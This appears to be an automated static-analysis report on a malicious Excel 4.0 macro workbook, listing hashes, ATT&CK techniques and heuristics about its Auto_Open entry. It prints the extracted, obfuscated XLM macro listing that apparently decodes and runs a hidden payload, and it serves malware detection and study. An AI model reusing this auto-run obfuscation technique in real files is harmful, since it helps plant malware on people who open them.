Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b09521a1e3ba0b3…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:50 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6ee5e19fca5c4b7dc5e869f7864fef18 SHA-1: 9c9ae97d67674f480bec1ab54e9cb6a9c2a1b18f SHA-256: 0b09521a1e3ba0b300d8eed2d1ed2290344073f60ccadde936cef969cbdd82d5
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro sheet contains dangerous formula APIs, suggesting it is designed to perform actions beyond typical spreadsheet functions, such as downloading and executing a payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6564 bytes
SHA-256: d36d0f5f494f1d55a33dcfdc9aa61aa1a2dc65b59fe7f4f89b5ee74408eea308
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  trY
' 0018     23 LABEL : Cell Value, String Constant - AmNzSNpR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D155 
' 0018     26 LABEL : Cell Value, String Constant - bAytvaZRXVs len=0 
' 0018     27 LABEL : Cell Value, String Constant - BGurAkGUREXF len=0 
' 0018     25 LABEL : Cell Value, String Constant - bKWtmtpUyv len=0 
' 0018     20 LABEL : Cell Value, String Constant - bwNmV len=0 
' 0018     21 LABEL : Cell Value, String Constant - dRMxoD len=0 
' 0018     25 LABEL : Cell Value, String Constant - igYcdkftXw len=0 
' 0018     23 LABEL : Cell Value, String Constant - iSRmxERG len=0 
' 0018     26 LABEL : Cell Value, String Constant - JTRUdtErxVF len=0 
' 0018     21 LABEL : Cell Value, String Constant - LJyrzr len=0 
' 0018     24 LABEL : Cell Value, String Constant - nEuJruKNn len=0 
' 0018     21 LABEL : Cell Value, String Constant - OHuEGv len=0 
' 0018     25 LABEL : Cell Value, String Constant - QjFNipvFGn len=0 
' 0018     26 LABEL : Cell Value, String Constant - QqXFRCQDmIg len=0 
' 0018     23 LABEL : Cell Value, String Constant - RTyjkNVa len=0 
' 0018     24 LABEL : Cell Value, String Constant - SQUlntgWh len=0 
' 0018     20 LABEL : Cell Value, String Constant - tqlpb len=0 
' 0018     27 LABEL : Cell Value, String Constant - vloeWMVspxMD len=0 
' 0018     26 LABEL : Cell Value, String Constant - YMWbqmOnoOa len=0 
' 0018     25 LABEL : Cell Value, String Constant - zyfSyzzIup len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  trY,T56,"",248.00000000000000000000
'  trY,T57,"",980.00000000000000000000
'  trY,T58,"",51.00000000000000000000
'  trY,T59,"",-12.00000000000000000000
'  trY,T60,"",-448.00000000000000000000
'  trY,T61,"",-739.00000000000000000000
'  trY,D64,"SET.NAME("bAytvaZRXVs",0+VALUE("0"))",""
'  trY,D69,"SET.NAME("BGurAkGUREXF",bAytvaZRXVs)",""
'  trY,D72,"SET.NAME("iSRmxERG",bAytvaZRXVs)",""
'  trY,D77,"SET.NAME("nEuJruKNn",COUNTA(tqlpb))",""
'  trY,D79,"SET.NAME("JTRUdtErxVF",COUNTA(RTyjkNVa))",""
'  trY,D83,[],""
'  trY,D88,"SET.NAME("dRMxoD","")",""
'  trY,D92,"BGurAkGUREXF",""
'  trY,D94,"SET.NAME("vloeWMVspxMD",HLOOKUP("*",tqlpb,BGurAkGUREXF,FALSE))",""
'  trY,D98,"igYcdkftXw",""
'  trY,D102,"SET.NAME("LJyrzr",bAytvaZRXVs)",""
'  trY,D106,[],""
'  trY,D108,"LJyrzr",""
'  trY,D113,"OHuEGv",""
'  trY,D117,"QqXFRCQDmIg",""
'  trY,D119,"zyfSyzzIup",""
'  trY,D121,"SET.NAME("YMWbqmOnoOa",VALUE(HLOOKUP("*",RTyjkNVa,zyfSyzzIup,FALSE)))",""
'  trY,D124,"AmNzSNpR",""
'  trY,D126,"dRMxoD",""
'  trY,D131,"iSRmxERG",""
'  trY,D135,NEXT(),""
'  trY,D137,"QjFNipvFGn",""
'  trY,D142,[],""
'  trY,D144,"bwNmV",""
'  trY,D148,NEXT(),""
'  trY,D153,RETURN(),""
'  trY,D178,"SET.NAME("bKWtmtpUyv",D64)",""
'  trY,D182,"tqlpb",""
'  trY,D184,"SET.NAME("RTyjkNVa",R65C15)",""
'  trY,D189,"SET.NAME("bwNmV",197)",""
'  trY,D192,"SET.NAME("SQUlntgWh",4)",""
'  trY,D196,bKWtmtpUyv(),""
'  trY,D197,HALT(),""